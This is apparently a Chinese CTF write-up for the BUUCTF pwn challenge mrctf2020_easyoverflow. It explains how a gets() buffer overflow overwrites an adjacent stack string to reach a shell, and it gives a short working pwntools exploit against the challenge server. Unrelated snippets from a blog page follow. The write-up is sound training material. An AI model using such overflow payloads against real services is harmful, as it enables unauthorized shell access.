[BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow
步骤:
- 例行检查,64位程序,保护全开

 - 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开

只要满足18行的条件,就能够获取shell - check()

很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g - 看main函数可以知道,v5一开始是
ju3t_@_f@k3_f1@g,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处

v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g从而获取shell 
payload=‘a’*0x30+n0t_r3@11y_f1@g
完整exp
from pwn import *
r=remote("node3.buuoj.cn",25779)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

[BUUCTF]PWN——mrctf2020_easyoverflow的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
		
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
 - (buuctf)  - pwn入门部分wp - rip -- pwn1_sctf_2016
		
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
 - BUUCTF pwn一分题目
		
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
 - [BUUCTF]PWN——hitcontraining_uaf
		
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
 - BUUCTF PWN部分题目wp
		
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
 - buuctf --pwn part2
		
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
 - buuctf pwn wp---part1
		
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
 - [BUUCTF]PWN——pwnable_hacknote
		
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
 - [BUUCTF]PWN——ciscn_2019_es_7[详解]
		
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
 
随机推荐
- [luogu5162]WD与积木
			
设$g_{n}$表示$n$个积木放的方案数,枚举最后一层所放的积木,则有$g_{n}=\sum_{i=1}^{n}c(n,i)g_{n-i}$(因为积木有编号的所以要选出$i$个) 将组合数展开并化简 ...
 - [bzoj2241]打地鼠
			
先考虑如何判定一个r*c的矩阵是否符合条件,容易发现左上角的点无法被别的矩阵砸到,要求左上角r*c的矩阵中不能超过最左上角的元素,之后同理不断枚举最上&最左的非0点,可以用差分来优化,复杂度为 ...
 - 【知识详解】JAVA基础(秋招总结)
			
JAVA基础 目录 JAVA基础 问:面向过程(POP)和面向对象(OOP)? 问:Python和Java的区别? 问:java的八大基本数据类型? 问:封装继承多态说一下? 问:方法和函数的区别? ...
 - vite的项目,使用 rollup 打包的方法
			
官网资料 构建生产版本--库模式 https://cn.vitejs.dev/guide/build.html#library-mode 详细设置 https://cn.vitejs.dev/conf ...
 - BZOJ 3729 - Gty的游戏(Staircase 博弈+时间轴分块)
			
题面传送门 介于自己以前既没有写过 Staircase-Nim 的题解,也没写过时间轴分块的题解,所以现在就来写一篇吧(fog 首先考虑最极端的情况,如果图是一条链,并且链的一个端点是 \(1\),那 ...
 - Codeforces 436E - Cardboard Box(贪心/反悔贪心/数据结构)
			
题面传送门 题意: 有 \(n\) 个关卡,第 \(i\) 个关卡玩到 \(1\) 颗星需要花 \(a_i\) 的时间,玩到 \(2\) 颗星需要 \(b_i\) 的时间.(\(a_i<b_i\ ...
 - Codeforces 1208F - Bits And Pieces(高维前缀和)
			
题面传送门 题意:求 \(\max\limits_{i<j<k}a_i|(a_j\&a_k)\). \(1\leq n \leq 10^6,1\leq a_i\leq 2\time ...
 - bzoj4036 / P3175 [HAOI2015]按位或
			
bzoj4036 / P3175 [HAOI2015]按位或 是一个 min-max容斥 的板子题. min-max容斥 式子: $ \displaystyle max(S) = \sum_{T\su ...
 - BZOJ 3694&&DTOJ 1972: 最短路
			
题目描述 给出一个n个点m条边的无向图,n个点的编号从1~n,定义源点为1.定义最短路树如下:从源点1经过边集T到任意一点i有且仅有一条路径,且这条路径是整个图1到i的最短路径,边集T构成最短路树. ...
 - 1D RKDG to shallow water equations
			
RKDG to shallow water equations 1.Governing Equations \[\frac{\partial U}{\partial t} + \frac{\parti ...